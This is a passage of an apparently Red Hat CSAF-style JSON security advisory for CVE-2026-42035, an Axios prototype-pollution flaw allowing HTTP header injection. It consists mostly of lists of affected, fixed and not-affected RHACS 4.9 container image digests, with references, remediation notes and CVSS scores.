"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461606"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a software library for making network requests. A remote attacker can exploit a prototype pollution vulnerability to inject arbitrary HTTP headers into outgoing requests. This occurs when the application\u0027s core object definitions are manipulated, causing Axios to misinterpret data and include attacker-controlled headers in network communications. This could lead to unauthorized actions or data manipulation.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Arbitrary HTTP header injection via prototype pollution",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42035"
},
{
"category": "external",
"summary": "RHBZ#2461606",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461606"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42035"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9",
"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9"
}
],
"release_date": "2026-04-24T17:38:07.752000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
